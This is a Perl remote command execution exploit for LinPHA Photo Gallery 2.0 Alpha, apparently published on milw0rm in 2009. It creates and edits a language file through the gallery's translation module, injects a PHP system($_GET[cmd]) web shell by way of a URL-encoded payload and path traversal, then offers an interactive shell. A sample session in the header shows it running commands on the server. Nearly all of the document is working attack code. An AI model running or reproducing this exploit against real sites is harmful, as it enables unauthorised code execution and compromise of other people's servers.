#!/usr/bin/perl
# -----------------------------------------------------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------------------------------------------------
# LinPHA Photo Gallery 2.0 Alpha
# http://sourceforge.net/project/downloading.php?group_id=64772&use_mirror=heanet&filename=linpha2-alpha1.tar.gz&94291669
# Remote Command Execution Exploit
# by Osirys
# osirys[at]live[dot]it
# osirys.org
# Greets to: x0r, str0ke, emgent, and my big friend Jay
# Tested in local with: magic quotes => Off
# ------------------------------------------------------------------
# Exploit in action :D
# ------------------------------------------------------------------
# osirys[~]>$ perl rce.txt http://localhost/linpha2/
#
# -------------------------------------------
# LinPHA 2.0a Code Execution Exploit
# Coded by Osirys
# -------------------------------------------
#
# [+] New Language added !
# [+] Editing new Language ..
# [+] New Language Edited !
# [*] Hi my master, execute your commands !
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> ls
# lang.freedom.php
# lang.freedom.php.bak
# language.php
# language.php~
# shell[localhost]$> pwd
# /home/osirys/web/linpha2/lib/lang
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------
use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;
my $new_lang_name = "freedom";
my $add_lang_path = "/lib/lang/language.php?action=create_file";
my $edt_lang_path = "/lib/lang/language.php?action=edit_lang&language=";
my $rce_path = "/lib/lang/lang".$new_lang_name.".php";
my $phpc0de = "%22%29%3Bsystem%28%24_GET%5Bcmd%5D%29%3B%24a%3D+array%28%22";
my $i = 0;
my $c = 0;
my $host = $ARGV[0];
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
&new_lang_create($new_lang_name);
sub new_lang_create() {
my $new_lang_name = $_[0];
my $url = $host.$add_lang_path;
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url,
Content_Type => 'form-data',
Content => [
filename => $new_lang_name,
action => 'create_file',
submit => 'submit'
]
);
if (($re->is_success)&&($re->as_string =~ /File already exists!/)) {
$i++;
print "[+] Language already exists, creating a new one ..\n";
$new_lang_name = "freedom".$i;
$edt_lang_path = "/lib/lang/language.php?action=edit_lang&language=".$new_lang_name;
&new_lang_create($new_lang_name);
}
elsif (($re->is_success)&&($re->as_string =~ /Fine - now please go/)) {
print "[+] New Language added !\n";
&new_lang_edit($new_lang_name);
}
else {
print "[-] Unable to add a new language\n";
print "[-] Exploit Failed\n\n";
exit(0);
}
}
sub new_lang_edit() {
my $new_lang_name = $_[0];
my $url = $path.$edt_lang_path;
my $code = "phrase%5BAlbums%0D%0A%5D%5B%5D=".$phpc0de."&phrase%5BExtended+Search%0D%0A%5D%5B%5D=".
"&phrase%5BHi%2C+this+is+the+home+of+%22The+PHP+Photo+Archive%22+%3Ca+href%3D%22http%".
"3A%2F%2Flinpha.sf.net%22%3Eaka+LinPHA%3C%2Fa%3E.%0D%0A%5D%5B%5D=&phrase%5BHome%0D%0A".
"%5D%5B%5D=&phrase%5BLinpha+Syslog%0D%0A%5D%5B%5D=&phrase%5BLogin%0D%0A%5D%5B%5D=&phr".
"ase%5BPassword%0D%0A%5D%5B%5D=&phrase%5BRemember+Me%0D%0A%5D%5B%5D=&phrase%5BSearch%".
"0D%0A%5D%5B%5D=&phrase%5BUsername%0D%0A%5D%5B%5D=&phrase%5BWelcome%0D%0A%5D%5B%5D=&p".
"hrase%5BYou+must+have+cookies+enabled+to+log+in.%0D%0A%5D%5B%5D=&action=save_lang&la".
"nguage=..%2F..%2Flib%2Flang%2Flang.".$new_lang_name.".php&submit=submit";
my $length = length($code);
my $data = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
$code."\r\n";
my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";
print "[+] Editing new Language ..\n";
$socket->send($data);
while ((my $e = <$socket>)&&($inj_t != 1)) {
if ($e =~ /Welcome To LinPHA2 Translation Module/) {
print "[+] New Language Edited !\n";
print "[*] Hi my master, execute your commands !\n\n";
$inj_t = 1;
}
}
$inj_t == 1 || die "[-] Unable to edit new Language ! \n";
&exec_cmd($new_lang_name);
}
sub exec_cmd() {
my $new_lang_name = $_[0];
my @outs;
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$rce_path = "/lib/lang/lang.".$new_lang_name.".php";
$exec_url = ($host.$rce_path."?cmd=".$cmd);
$re = get_req($exec_url);
if ($re =~ /(.*)/) {
push(@outs,$re);
foreach my $o(@outs) {
print "$o";
}
&exec_cmd;
}
elsif ($re !~ /[a-z0-9]/) {
$c++;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub banner {
print "\n".
" ------------------------------------------- \n".
" LinPHA 2.0a Code Execution Exploit \n".
" Coded by Osirys \n".
" ------------------------------------------- \n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
# milw0rm.com [2009-01-20]
